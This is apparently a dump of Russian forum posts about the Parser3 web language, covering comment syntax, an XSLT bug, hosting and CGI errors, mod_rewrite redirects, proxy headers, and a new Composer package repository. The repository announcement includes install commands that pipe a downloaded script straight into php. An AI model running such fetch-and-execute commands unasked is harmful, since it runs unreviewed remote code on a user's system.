Отчасти, согласен, что сдвиги блоков редакторами несовместимы со строчными комментариями.\
С другой стороны не нравится тот факт, что комментирование не с начала строки приведёт к разброду и шатанию в коде:\
[code]# комментарий\
	# и это тоже\
				# и это[/code]\
Всё же, картина\
[code]# комментарий\
#	и это тоже\
#				и это[/code]\
яснее.\
\
Думаю, подобные проблемы стоит решать на уровне редактора.\
Например, написав простой макрос или плагин, который бы исправлял строчные комментарии после сдвигов блоков."
"83827","Удобства такого свободного комментирования ясны и такое комментирование широко распространено (см. множество иных языков - Си, C#, Delphi, ...), а проблемы \"ушатанного\" кода из-за _комментариев_, сдаётся мне, это наименьшие проблемы \"ушатанного\" кода :))\
\
оч странный у вас аргумент был всё-таки..."
"83828","[quote]Удобства такого свободного комментирования ясны и такое комментирование широко распространено (см. множество иных языков - Си, C#, Delphi, ...)[/quote]\
\
Инструкции данных языков не погружены в текст и могут обходиться со служебными символами гораздо более свободно."
"83831","Погружены ли инструкции этих языков в текст?\
\
Нет.\
Потому в них и существуют наборы всевозможных шаблонизаторов."
"83832","Это не вопрос, это скорее пример того, что в большинстве языков inline-комментарии не привязаны к первой позиции. Я даже навскидку не могу вспомнить яп, в котором комментарии маркируются строго с первой позиции. Особенно странно, что PAF в своё время не сделал \"это как в perl\"\
\
А как это связано с погруженностью языка в текст вообще не понятно"
"83833","[quote]А как это связано с погруженностью языка в текст вообще не понятно[/quote]\
\
Напрямую.\
\
Символ # достаточно широко используется в тексте и данных, и усложнять его ввод ради удобства комментирования не самое лучшее решение.\
Думаю, что обработка комментария с начала строки значительно упрощает анализ и компиляцию кода."
"83834","Да, InnoDB\
У меня хостинг, и MySQL версии 5.1.56\
Как отслеживать, что там происходит не знаю, в тех. поддержке сказали, что настройки едины для всех и мне не смогут включить логирование.\
Как найти это исключение, которое приводит к откату?"
"83835","[quote]Как найти это исключение, которое приводит к откату?[/quote]\
\
Нужно добиться повторяемости в контролируемых условиях, либо логирования в некотролируемых.\
\
Проверьте тот же код локально.\
Сделайте минимальный пример, перемещающий узлы и воспроизводящий ошибку.\
\
Исключение не ловится, значит должно попадать в лог Парсера, посмотрите там."
"83836","Сори, если было - не нашел.\
\
Вопрос - при вызове парсера из консоли:\
\
[code]/путь/к/парсеру/parser3.cgi /путь/к/скрипту.html[/code]\
\
как передать в скрипт.html параметры? Через $form не работает:\
\
[code]/путь/к/парсеру/parser3.cgi /путь/к/скрипту.html?qwe=asd[/code]"
"83840","[url=https://github.com/gzzz/sublime-indenter]Indenter[/url].\
\
Желающие могут помочь протестировать.\
Теоретически совместим не только с Парсером, но и с другими языками, имеющими строчные комментарии, для которых в Sublime Text имеется описание синтаксиса и разметки комментариев.\
\
Занимает стандартные комбинации «ctrl+[» и «ctrl+]» и отдельно «ctrl+alt+tab»."
"83841","С текстом понятно, но исходное предложение было когда слева только пробельные символы. Чтобы можно было так\
\
[code]^if(...){\
	... код ...\
		# комментарий \
		^foreach[]{\
			... код ...\
		}\
}[/code]\
Лично я постоянно натыкаюсь на эту неудобную мелочь (UltraEdit) когда табом двигаешь блок, вместе с комменами, после чего всё падает. Хотя это не критично конечно"
"83842","неужели действие компилятора (проиллюстрирую с помощью regex) значительно усложнит анализ кода?\
\
сейчас условие, что текущая строка это комментарий:\
^#\
\
а можно сделать так:\
^[\\t\\x20]*#\
\
\
\
\
хотя, конечно, нет так нет - пусть остаётся как не у всех.\
парсер меньше от этого любить не стану :)"
"83843","Вариант решения для редакторов gz показал в http://www.parser.ru/forum/?id=83840"
"83844","Здравствуйте, извините за столь простой вопрос? такое у меня в первые. При установки парсера на сервере выдает следующею ошибку:\
\
[quote]/: '/var/www/firma-uss/data/www/xn----7sbxqtjar9g.xn--p1ai/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/firma-uss/data/www/xn----7sbxqtjar9g.xn--p1ai/cgi-bin/auto.p', fuid(502)!=euid(505) or fgid(503)!=egid(506) [parser.runtime][/quote]\
\
лог парсера.\
[quote][Tue Nov  1 10:51:24 2016] [17956] /: '/var/www/firma-uss/data/www/xn----7sbxqtjar9g.xn--p1ai/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/var/www/firma-uss/data/www/xn----7sbxqtjar9g.xn--p1ai/cgi-bin/auto.p', fuid(502)!=euid(505) or fgid(503)!=egid(506) [parser.runtime] [uri=/, method=GET, cl=0][/quote]"
"83845","[url=\"http://www.parser.ru/forum/?id=79756\"]Ваш же вопрос[/url]. То что домен кириллический, никакой роли не играет от слова совсем"
"83846","Проблему мою решил Sumo http://www.parser.ru/forum/?id=79757\
\
ответ скрывался тут.\
[quote]... чтобы группа и пользователь совпадали с теми, что они выдали для ваших файлов.[/quote]"
"83847","[code]@main[]\
$template[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:template match=\"/root\">\
		<xsl:value-of select=\".\"/>\
	</xsl:template>\
</xsl:stylesheet>}]\
\
^transform[1]\
^transform[2]\
\
@transform[param]\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<root>$param</root>}]\
\
^template.save[/template-${param}.txt]\
\
$result[^doc.transform[$template]]\
$result[^result.string[\
	$.method[text]\
	$.indent[no]\
]][/code]\
\
Первое выполнение происходит нормально, второе падает с ошибкой «runtime error: element value-of Unexpected XSLT element 'value-of'».\
Если посмотреть на сохранённый текст шаблонов, то окажется, что после первого выполнения в шаблоне пропадают отступы и переводы строк.\
\
Было:\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
	<xsl:template match=\"/root\">\
		<xsl:value-of select=\".\"/>\
	</xsl:template>\
</xsl:stylesheet>\
[/code]\
\
Стало:\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"><xsl:template match=\"/root\"><xsl:value-of select=\".\"/></xsl:template></xsl:stylesheet>[/code]\
\
Странно, что форматирование xml-документа влияет на его парсинг, но ещё более странно, что шаблон меняется в процессе применения к документу.\
\
Win 7x64, Parser 3.4.5b."
"83848","Оффтоп: \
А  еще пишут, что либы json-парсеров все кривобокие, если верить недавней статье на Хабре. \
\
Отдел разработки в MailRu Group провели комплексную оценку json-парсеров и получается там швах полный по индустрии в целом.\
Через один если не зависание, то некорректный парсинг.\
\
https://habrahabr.ru/company/mailru/blog/314014/"
"83849","[code]XSL	enabled\
libxslt Version	1.1.28\
libxslt compiled against libxml Version	2.9.2\
EXSLT	enabled\
libexslt Version	1.1.28[/code]\
\
[code]<?php\
\
$tpl = new DOMDocument('1.0', 'UTF-8');\
$tpl->loadXML('<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:template match=\"/root\">\
		<xsl:value-of select=\".\"/>\
	</xsl:template>\
</xsl:stylesheet>');\
\
$proc = new XSLTProcessor;\
$proc->importStyleSheet($tpl);\
\
\
function transform($param){\
	global $proc;\
	\
	$doc = new DOMDocument('1.0', 'UTF-8');\
	$doc->loadXML('<root>' . $param . '</root>');\
	\
	return $proc->transformToXML($doc);\
}\
\
echo transform('1');\
echo transform('2');\
\
?>[/code]\
\
Выполняется без проблем как с заранее созданным процессором, так и только с заранее созданным шаблоном."
"83850","Возможно не совсем удачный тест, похоже \"порча\" происходит вот в этот момент:\
\
[quote]$proc->importStyleSheet($tpl);[/quote]"
"83852","[quote]похоже \"порча\" происходит вот в этот момент:\
$proc->importStyleSheet($tpl);[/quote]\
\
[quote]Выполняется без проблем как с заранее созданным процессором, так и только с заранее созданным шаблоном.[/quote]\
\
[code]<?php\
\
$tpl = new DOMDocument('1.0', 'UTF-8');\
$tpl->loadXML('<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:template match=\"/root\">\
		<xsl:value-of select=\".\"/>\
	</xsl:template>\
</xsl:stylesheet>');\
\
function transform($param){\
	global $tpl;\
	\
	$proc = new XSLTProcessor;\
	$proc->importStyleSheet($tpl);\
	\
	$doc = new DOMDocument('1.0', 'UTF-8');\
	$doc->loadXML('<root>' . $param . '</root>');\
	\
	return $proc->transformToXML($doc);\
}\
\
echo transform('1');\
echo transform('2');\
\
?>[/code]"
"83853","Посмотрел код php, они всегда копируют xdoc перед тем, как использовать\
его в качестве шаблона (что понятно весьма накладно), поэтому у них проблема не воспроизводится:\
\
        /* libxslt uses _private, so we must copy the imported\
        stylesheet document otherwise the node proxies will be a mess */\
        newdoc = xmlCopyDoc(doc, 1);\
        xmlNodeSetBase((xmlNodePtr) newdoc, (xmlChar *)doc->URL);\
        prevSubstValue = xmlSubstituteEntitiesDefault(1);\
        prevExtDtdValue = xmlLoadExtDtdDefaultValue;\
        xmlLoadExtDtdDefaultValue = XML_DETECT_IDS | XML_COMPLETE_ATTRS;\
\
        sheetp = xsltParseStylesheetDoc(newdoc);\
\
Кстати мы тоже используем _private, но возможно менее активно чем php, надо будет добавить тест на то, как оно себя ведет в таком случае."
"83855","Продолжаю изучать и дорабатывать, в итоге, код не менялся:\
[code]@update[node;options]\
$options[^hash::create[$options]]\
$eID(^options.eID.int(0))\
$anc(^options.anc.int(0))\
\
^self._transaction{\
	$result(^self._updatePage[$node;$eID][$options])\
\
	^if($eID ne 1 && $eID){\
		^self.move[$eID][$anc]\
	}\
}\
\
@move[dsc;pID]\
$dsc(^dsc.int(0))\
$pID(^pID.int(0))\
\
#115 строка\
$descendants[^self.descendants($dsc)[$.with-self(true)]]\
\
^if($descendants){\
	$ancestor[^self.ancestors($dsc)[$.with-self(false)]]\
	$parent_ancestor[^self.ancestors($pID)[$.with-self(true)]]\
\
	^self._transaction{\
		^self._unlink[$descendants;$ancestor]\
		^self._link[$descendants;$parent_ancestor]\
	}\
}\
\
@descendants[nodes;options]\
# Извлекает потомков.\
$options[^hash::create[$options]]\
$result[^table::sql{\
	SELECT t.anc, t.dsc, t.lvl\
		^self._parentField($with_parent)\
	FROM path AS t\
		^self._parentTable($with_parent)\
	WHERE 1\
		AND t.anc IN (^self._list[$nodes;dsc])\
		^if(!^options.[with-self].bool(true)){AND t.lvl > 0}\
}[^self._sqlOptions[$options]]][/code]\
\
В итоге, возникает ошибка:\
[quote]tree.p(115:20): 'descendants' is 'table', not a method or junction, can not call it [parser.runtime][/quote]"
"83856","Если нет, то нужно включить на уровне методов.\
\
Где-то определена таблица $descendants и она перекрывает одноимённый метод."
"83857","[code]@main[]\
^connect[$SQL.connect-string]{\
	^void:sql{SELECT SLEEP(5)}\
}[/code]\
\
Void ругается на результат, возвращённый БД.\
А между тем, было бы удобно использовать его не только для запросов, не возвращающих результата, но и там, где результат есть, но не требуется.\
\
Вместо:\
[code]$tmp[^string:sql{SELECT 2 * 2}][/code]\
или\
[code]^string:sql{SELECT 2 * 2}\
…\
$result[]\
[/code]"
"83858","Появилась проблемка\
\
failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory [curl]\
\
Хостер в упор отказывается делать алиас libcurl.so /usr/lib64/libcurl.so.4\
\
Если с libmyslclient.so и libmyslclient.so.16 вопрос решился небольшой правкой в auto.p то как поступить тут?\
\
Пересобирать парсер - не вариант."
"83859","$.library[/usr/lib64/libcurl.so.4]\
\
Но и хостер вдруг стал лоялен к парсеру)))"
"83860","Проведение границы между \"молча глотаем ошибки\" и \"вываливаемся на любой чих\" - вопрос индивидуальных предпочтений. Исключение PAF бросал вполне себе умышленно, значит считал это правильным. Поскольку остальные промолчали, текущий счет 1:1. :)"
"83861","[quote]Проведение границы между \"молча глотаем ошибки\" и \"вываливаемся на любой чих\" - вопрос индивидуальных предпочтений. Исключение PAF бросал вполне себе умышленно, значит считал это правильным.[/quote]\
\
Логика-то понятна.\
Другое дело, что лично я не смог придумать ситуации, когда такое поведение выступало бы дебаггером.\
\
Выходит, какой-то запрос, никогда не возвращавший значения, вдруг по ошибке его вернёт и мы об этом узнаем.\
Я за 13 лет работы с Парсером не могу вспомнить случая, когда получал бы такое исключение.\
\
А случаи, в которых хотелось бы молча проглотить результат — регулярны."
"83862","Думаю PAF имел в виду не то, что \" никогда не возвращавший значения, вдруг по ошибке его вернёт\", а что если при разработке случайно ошибочно написать запрос, который возвращает значение, то сразу об этом и узнаешь."
"83865","Здравствуйте, подскажите почему при установки парсера выдает ошибку... [b]Internal Server Error[/b] (500), но при этом в лог парсера не чего не записывается...\
\
Посмотрел лог сервера: \
[Fri Nov 18 15:52:49.743030 2016] [cgi:error] [pid 1323] [client 31.181.31.123:26916] AH01215: (13)Permission denied: exec of '/var/www/webs/data/www/sait.ru/cgi-bin/sait.parser3.cgi' failed\
[Fri Nov 18 15:52:49.743835 2016] [cgi:error] [pid 1323] [client 31.181.31.123:26916] End of script output before headers: sait.parser3.cgi\
\
Загрузил _test.html (проверка установки парсера) та же 500 ошибка."
"83866","На сервере не включена поддержка cgi сриптов"
"83867","На стройках галочка стоит на прости CGI \
\
Скриншот \
http://images.vfl.ru/ii/1479496805/1face265/15006960.png"
"83868","http://www.parser.ru/docs/lang/install4apachecgi.htm"
"83869","Здравствуйте, подскажите пожалуйста как правильно реализовать редирект вида:\
\
[code]sait.ru/papra/index.html -> sait.ru/papra/[/code]\
\
по сути sait.ru/papra/index.html = sait.ru/papra/, в вот как избавиться от как избавиться в сроке браузера от index.html? Такое вообще возможно? \
\
\
P.S. на сайте Студии Лебедева такая ошибка тоже часто встречается, вот последняя (которая я заметил) опубликовали новую страницу http://www.artlebedev.ru/fabrikant/site/ (там есть в верху 2 ссылки \"логотип\" и \"сайт\", эти ссылки работают, а вот если открыть страницу http://www.artlebedev.ru/fabrikant/site/index.html то ссылка \"логотип\" уже не работает (у ссылки \"логотип\" путь [code]<a href=\"../../logo/\" class=\"underline\"><noindex>Логотип</noindex></a>[/code] и при ее нажатии переходишь на страницу 404 (http://www.artlebedev.ru/logo/)"
"83870","p.s. на страницах вида (в конце index.html) http://www.artlebedev.ru/fabrikant/site/index.html Дата выпуска отсутствует. когда на той же странице без index.html все ок."
"83871","http://www.artlebedev.ru/tyazhmash/75/index.html\
\
ссылка [code]<a href=\"../../site/\" class=\"underline\"><noindex>Сайт</noindex></a>[/code] на \"сайт\" не работает, если вам интересна логика всех не рабочих страниц могу по тел. рассказать."
"83873","[code]RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\\ /.*index\\.html?\\ HTTP/\
RewriteRule ^(.*)index\\.html?$ http://sait.ru/$1 [R=301,L][/code]\
\
работает, вот только насколько криво написано вам судить)"
"83874","Подскажи пожалуйста, а как вы решили проблему с index.html на сайте Студии?"
"83875","Я в студии не работаю.\
\
«Проблемы index.html» нет.\
\
Приложение может быть написано так, что никакого index.html нет в принципе, а все адреса виртуальны, разбираются и интерпретируются на каком-то из этапов обработки запроса.\
Это может делать веб-сервер, как в случае с mod_rewrite Апача или рерайтами nginx'а.\
Может само приложение, могут и те и другие.\
\
Задача двусторонняя:\
1. генерировать преобразованные адреса из «сырых»;\
2. преобразовывать сгенерированные адреса обратно к «сырым».\
\
Современные веб-приложения обычно как-либо умеют выполнять обе задачи, либо берут на себя первую, а выполнение второй ожидают от веб-сервера.\
\
Таким образом, если «сырой» адрес имеет вид /index.html?param=value, а снаружи должен выглядеть как /my-pretty-url/, то в приложении необходимо уметь генерировать ссылку /my-pretty-url/ из /index.html?param=value, а сервер попросить преобразовывать /my-pretty-url/ в /index.html?param=value при разборе запроса.\
\
См. [url=https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D0%BC%D0%B0%D0%BD%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_URL]ЧПУ[/url].\
\
Редиректы — это уже последствие таких преобразований.\
Так как обычно работают оба адреса — и преобразованный, и «сырой», а необходимо оставить только преобразованный, — то настраиваются перенаправления вида «сырой» -> сгенерированный.\
\
В общем случае с этим тоже поможет mod_rewrite Апача."
"83876","[quote]а вот если открыть страницу[/quote]\
\
Если открывать адреса, на которых нет ссылок, можно и на 404 ошибку попасть. :) Так что раз за много лет с этим никто ничего не сделал, то вероятно это не считается проблемой. На сайтах на php с этим тоже похоже никто особо не борется: http://www.1c-bitrix.ru/index.php\
\
А так да, достаточно одного правила такого плана: RewriteRule ^(.*)/index\\.html?$ /$1 [R=301,L]"
"83877","Всем привет.\
\
У Парсера появился свой репозиторий пакетов: [url=\"https://pkg.parser.ru\"]https://pkg.parser.ru[/url]\
\
Сделан он на базе стандартного репозитория PHP-пакетов [url=\"https://packagist.org/\"]Packagist[/url]. Это означает, что теперь пакеты и их зависимости для Парсера можно устанавливать используя стандартный PHP-шный Composer.\
\
Те, кто работал с PHP-проектами, скорее всего знают, что такое Composer, остальные могут ознакомиться с ним на официальном сайте [url=\"https://getcomposer.org\"]https://getcomposer.org[/url]\
\
\
[b]Как установить Composer.[/b]\
Для установки Composer, необходимо перейти в корневую директорию проекта (там где лежит или будет лежать [i]composer.json[/i]) и выполнить в командной строке:\
[code]curl -sS https://getcomposer.org/installer | php[/code]\
или\
[code]wget -qO- https://getcomposer.org/installer | php[/code]\
или скачать Composer по ссылке: https://getcomposer.org/composer.phar\
\
Более подробно про установку на разных платформах, или о том, как установить Composer глобально, можно почитать по ссылке: [url=\"https://getcomposer.org/doc/00-intro.md\"]https://getcomposer.org/doc/00-intro.md[/url]\
\
Чтобы Composer начал устанавливать пакеты для Парсера, ему необходимо сказать о новом репозитории пакетов. Для того, чтобы это сделать, надо, либо в своём [i]composer.json[/i] добавить строчки:\
[code]\
\"repositories\": [\
    {\"type\": \"composer\", \"url\": \"https://pkg.parser.ru\"}\
]\
[/code]\
либо, добавить репозиторий в глобальные настройки Composer, выполнив команду:\
[code]php composer.phar config --global repositories.parser composer https://pkg.parser.ru[/code]\
\
или, если Composer установлен глобально:\
[code]composer config --global repositories.parser composer https://pkg.parser.ru[/code]\
\
После этого Composer будет искать запрашиваемые пакеты в том числе и на  [url=\"https://pkg.parser.ru\"]https://pkg.parser.ru[/url]\
\
\
[b]Что, на счет автозагрузки классов как в PHP?[/b]\
Для того, чтобы использовать удобный автозагрузчик классов, необходимо в [i]composer.json[/i] своего проекта добавить плагин для Composer:\
[code]\
\"require\": {\
    \"parser/autoload\": \"^1.0\"\
}\
[/code]\
Этот плагин содержит в себе класс автозагрузчика для Парсера, а также автоматически генерирует файл: [i]autoload.p[/i] который регистрирует установленные пакеты. После этого достаточно в корневом [i]auto.p[/i] своего проекта, написать:\
[code]\
@USE\
/path/to/vendor/autoload.p\
[/code]\
и в проекте  можно использовать установленные пакеты.\
\
Автозагрузка и основные её принципы были заимствованы из Рекомендованных стандартов для PHP ([url=\"http://www.php-fig.org/psr/\"]http://www.php-fig.org/psr/[/url]), в частности стандарт PSR-0 (уже depricated в php-проектах, но мы его поддерживаем в силу отсутствия в Парсере неймспейсов для классов) и PSR-4.\
\
PSR-0 позволяет нам именовать классы следующим образом:\
<Vendor name>_<Namespace(s)>_<Class name>\
\
Например: Als_Config_Reader\
Als_Config - это префикс/неймспейс, Reader - это название класса\
\
PSR-4 позволяет нам именовать классы следующим образом:\
<Vendor name>/<Namespace(s)/<Class name>\
\
Например: Als/Config/Reader\
Als/Config - это префикс/неймспейс, Reader - это название класса\
\
Для регистрации префиксов и неймспейсов в автозагрузке используется секция “autoload”: {} в [i]composer.json[/i]\
Про неё можно почитать в официальной документации: [url=\"https://getcomposer.org/doc/04-schema.md#autoload\"]https://getcomposer.org/doc/04-schema.md#autoload[/url]\
\
Сейчас поддерживается: “PSR-0”, “PSR-4” и “files”\
\
“PSR-0”, “PSR-4” - используются для регистрации префиксов/неймспесов в автозагрузчике, подключение файла с классом происходит только когда это необходимо, например, когда мы создаем объект класса.\
\
“files” - используется, чтобы подключать файлы из пакета непосредственно в момент загрузки. Использование можно посмотреть, например в пакете: [url=\"https://pkg.parser.ru/packages/als/debug\"]als/debug[/url]\
\
Например, если в composer.json указать:\
[code]\
\"require-dev\": {\
    \"als/debug\": \"^1.0\"\
}\
[/code]\
то, Composer установит пакет als/debug и автоматически подключит его.\
\
Надо учесть, что Composer предназначен для PHP классов, поэтому при  регистрации PSR-4 префиксов и неймспейсов надо учитывать, что там в качестве разделителя используются обратный слеш ‘\\’. Так же, Composer почему-то требует, чтобы префикс или неймспейс в секции “autoload” заканчивался разделителем, для PSR-0 это подчеркивание ‘_’, для PSR-4 это слэш ‘\\’.\
\
Пример: Допустим нам в проекте надо подключить два пакета (als/test1 и als/test2), для примера один из них написан по стандарту PSR-0, второй по стандарту PSR-4.\
\
Первый пакет:\
[code]\
{\
    \"name\": \"als/test1\",\
    \"autoload\": {\
        \"psr-0\": {\
            \"Als_Test1_\": \"src/\"\
        }\
    }\
}\
[/code]\
\
Второй пакет:\
[code]\
{\
    \"name\": \"als/test2\",\
    \"autoload\": {\
        \"psr-4\": {\
            \"Als\\\\Test1\\\\\": \"src/\"\
        }\
    }\
}\
[/code]\
\
В файле composer.json своего проекта, мы пишем:\
[code]\
\"require\": {\
    \"als/test1\": \"^1.0\",\
    \"als/test2\": \"^1.0\"\
}\
[/code]\
(про версии можно почитать в официальной документации: [url=\"https://getcomposer.org/doc/articles/versions.md\"]https://getcomposer.org/doc/articles/versions.md[/url])\
\
И выполняем команду:\
[code]php composer.phar install[/code]\
\
После этого Composer устанавливает наши зависимости (по-умолчанию в папку /vendor/) и генерирует файл [i]autoload.p[/i]\
\
Далее, мы в корневом auto.p своего проекта, подключаем автозагрузчик:\
[code]\
@USE\
/vendor/autoload.p\
[/code]\
\
И далее в любом месте своего проекта, мы можем использовать подключенные библиотеки:\
[code]\
$test1[^Als_Test1_MyClass::create[]]\
$test2[^Als/Test2/MyClass::create[]]\
[/code]\
\
\
[b]Как написать свой пакет.[/b]\
Достаточно в папку со своим пакетом положить файл composer.json с минимальным его содержимым, опубликовать пакет, например, в GitHub и добавить ссылку на репозиторий с пакетов тут: [url=\"https://pkg.parser.ru/packages/submit\"]https://pkg.parser.ru/packages/submit[/url]\
\
\
[b]Что, сейчас есть на https://pkg.parser.ru/[/b]\
В данный момент в репозиторий переносятся классы и библиотеки опубликованные в разделе “[url=\"http://www.parser.ru/lib/\"]Библиотека[/url]”\
Некоторые из них уже перенесены, например [url=\"https://pkg.parser.ru/packages/als/sql\"]als/sql[/url] и [url=\"https://pkg.parser.ru/packages/als/debug\"]als/debug[/url], некоторые готовятся к переносу.\
\
Следующим шагом, будет рефакторинг этих библиотек. Например, вынос какого-то функционала в отдельные пакеты, и подключение их в качестве зависимостей.\
\
Все вопросы про именования классов, автозагрузку, структуру пакетов, как и где autoload ищет файлы, про класс Parser/Autoload можно задавать тут, постараюсь оперативно отвечать."
"83878","Я так понял из всего выше-ниже опубликованного, что Миша недоволен своим классом авторизации и не видит его как конечный оптимальный результат. Как человек, который почерпнул из него много нового, я хочу задать нубский вопрос:\
\
Что там не так?\
\
Просто я хочу заменить moodle на нечто удобоваримое, а поскольку moodle == black hole, (т.е. авторизация == доступ, неавторизация == блок везде), хочется знать перспективные хаки и байпассы. Что Вы имели в виду, Миша?"
"83879","Столкнулся с интересной проблемой.\
Клиент приходит на сайт по https протоколу. \
Балансировщик проксирует запрос по http и возникает проблема:\
[b]У парсера заголовок HTTPS не определен и SERVER_PORT = 80, при этом PHP и perl HTTPS=on и SERVER_PORT = 443[/b]\
\
Все остальные HTTP заголовки - идентичны."
"83880","... через $env:fields.\
\
Когда сервер стоит за прокси, то надо смотреть на дополнительные заголовки. обычно это X-Forwarder-Host и X-Forwarder-Port и на их основе определять хост и протокол. \
\
Абстрактный PHP из вашего вопроса может быть настроен так, чтобы брать хост и порт из forwarder-заголовков вместо штатных. В Парсере это надо сделать самостоятельно."
"83881","Что не получается на нем сделать, что приходится дописывать? \
\
У нас у всех задачи разные, поэтому полезнее будет обсудить конкретные задачи и их решения, а не абстрактную авторизацию."
"83882","Немного избыточно для файлика с одним классом, но в целом это серьезный шаг вперед для Парсера. Спасибо, что сделали. Для хостингов с установленным PHP должно быть очень удобно. \
\
Остается надеяться, что не только Студия будет выкладывать свои классы.\
\
p.s. Никогда не задумывался, что в именах классов можно использовать слеши. :)"
"83883","В доке:\
\
[quote]^rem{комментарий} \
Весь код, содержащийся внутри оператора, не будет выполнен. Используется для комментирования блоков кода.[/quote]\
\
Но такой код:\
\
[code]^rem{\
@method[]\
something...\
}[/code]\
упадет с очевидной ошибкой\
[quote]syntax error, unexpected BAD_METHOD_DECL_START, expecting ';' or '}'[/quote]\
\
В принципе понятно почему, но тут имхо надо либо в доке уточнить, что внутри rem надо экранировать некоторые специсимволы, которые \"не в синтаксисе\" (например просто [b]^rem{$}[/b] - тоже упадет) либо сделать так чтобы внутренности ^rem{} выкидывались до синтаксического анализа, иначе получается что в общем случае нельзя им просто обернуть \"блок кода\""
"83885","В моем примере текст внутри rem{} синтаксически верен, однако :)\
Так и эта проблема не решается раз не решилась тогда? Тогда надо в доке написать что в rem нельзя помещать произвольные блоки кода, а только без методов, и текст можно внутри не просто так, а всё проверить на ошибки синтаксиса"
"83886","Появились тут недавно редкие но странные ошибки, посмотрел оказалось что в request:uri приходит \"http://site.ru/path1/path2/\" вместо привычного \"/path1/path2/\". \
\
Кто виноват?\
Полез почитать, оказалось что это корректная ситуация и по RFC запрос c absoluteURI\
\
[quote]GET http://site.ru/path1/path2/[/quote]\
вместо \
[quote]GET /path1/path2/\
Host site.ru\
[/quote]\
это нормально. В основном это используется для proxy, но в RFC написано так:\
\
[code]  To allow for transition to absoluteURIs in all requests in future\
   versions of HTTP, all HTTP/1.1 [b]servers MUST accept the absoluteURI[/b]\
   form in requests, even though HTTP/1.1 clients will only generate\
   them in requests to proxies.[/code]\
\
То есть к апачу вроде как претензий нет. Да и вроде ни к кому нет.\
\
Что делать?\
\
Есть реально большая куча кода, которая не рассчитана на такое вот ))\
Если бы $request:uri был бы не только для чтения, можно было бы записать в него в одном месте в корневом auto.p правильное значение, отрезав хост, но увы оно read-only. Может сделать доступным для записи? Как $request:charset, например. Или может parser должен сам эту ситуацию разруливать и в request:uri выдавать уже правильное значение?"
"83888","Мне это кажется не очень хорошим решением, это же проблема общая, и в целом каждый разработчик, который где-либо в коде использует request:uri должен будет перелопатить весь свой код заменив на свою переменную? Или хорошим тоном считается это делать сразу для любого проекта завести свою переменную типа $request[$request:uri] и везде использовать её?"
"83889","[quote]Или хорошим тоном считается это делать сразу для любого проекта завести свою переменную типа $request[$request:uri] и везде использовать её?[/quote]\
\
Да, как и для форм.\
Только не глобальный объект, а свой для каждого «модуля».\
\
Это гибкое и простое решение.\
\
К тому же, для тестирования и эмуляции окружения для «модуля» удобно."
"83890","Спасибо за поддержку.\
\
Я тоже надеюсь, что это будет востребованно, и в репозитории будут появляться не только Студийные решения. Как говорится, здоровая конкуренция хороший стимул для развития :)\
\
Самое главное, что у решений теперь появилась:\
- версионность;\
- возможность что-то улучшить/поправить сделав форк или отправив пулл-реквест с изменениями;\
- возможность предлагать изменения заведя issue на гитхабе;\
\
ну и так далее.\
\
\
[quote]p.s. Никогда не задумывался, что в именах классов можно использовать слеши. :)[/quote]\
\
Собственно с этого всё и началось. Раз Парсер позволяет такое делать, то почему бы это не использовать во благо :)"
"83891","[quote]Что делать?[/quote]\
\
Мне кажется, что в вашем случае можно ничего не делать. То есть в реальности такие запросы означают, что кто-то использует сайт как прокси, и не вижу ничего сильно плохого отдать в этом случае скажем 404 ошибку. Или есть какой-то браузер, который себя так ведет?\
\
[quote]Или хорошим тоном считается это делать сразу для любого проекта завести свою переменную типа $request[$request:uri] и везде использовать её?\
[/quote]\
\
Это да. :)\
\
[quote]Или может parser должен сам эту ситуацию разруливать и в request:uri выдавать уже правильное значение?\
[/quote]\
\
Тут сложно сказать, php например так не делает, крупные проекты сами обходят, например в WP это сделали, кстати всего 5 лет назад (и потом еще дорабатывали): https://core.trac.wordpress.org/ticket/17047\
\
Но поскольку парсер старается прятать ненужные сложности от разработчиков, мне кажется лучше вырезать лишнее в парсере, во всяком случае подводных камней у такого решения я не вижу."
"83892","[code]\
\
^rem{#  \
  т.к. ^rem - оператор, то понятно, что (лексический парсер?) \
  применяет общие правила синтаксического разбора и ко всему что внутри rem\
  однако есть #inline-комментарии, которые (не знаю как на деле), но должны\
  в принципе удаляться до синтаксического разбора\
\
  такого же поведения не хватает для областей комментов, поэтому\
  можно ввести условную последовательность, как в этом примере\
  которая не ломает совместимости но\
\
  в новой версии можно было бы писать синтаксически невалидный код \
  внутри такого rem-а. Вот кто бы ^отказался[]? -$Никто\
  \
}\
[/code]\
\
Таким образом, предлагается добавить строгую последовательность символов \
начала => ^rem{#  \
\
и конца => }"
"83893","А блочные комментарии часто нужны?\
\
С учётом нормального редактора, вставляющего и снимающего комментарии по сочетанию клавиш и понимающего отступы блоков, даже и вспомнить не могу, когда пользовался ^rem{}."
"83894","[quote]Но поскольку парсер старается прятать ненужные сложности от разработчиков, мне кажется лучше вырезать лишнее в парсере, во всяком случае подводных камней у такого решения я не вижу.[/quote]\
\
Реализовано в HEAD, доступно в ночных сборках."
"83895","Давайте тогда уберем, раз не нужны, deprecated и убрать из доки? Или давайте напишем, что ^rem{} это однострочный комментарий, аналог # только не с первой позиции? Не очень я это понимаю. Инструмент либо есть, либо нет. Но если он есть - он должен работать корректно и в соответствии с документацией."
"83896","Я только за то, чтобы всё работало и документация была корректной.\
\
Но в данном случае мне интересно, кто этим пользуется и зачем.\
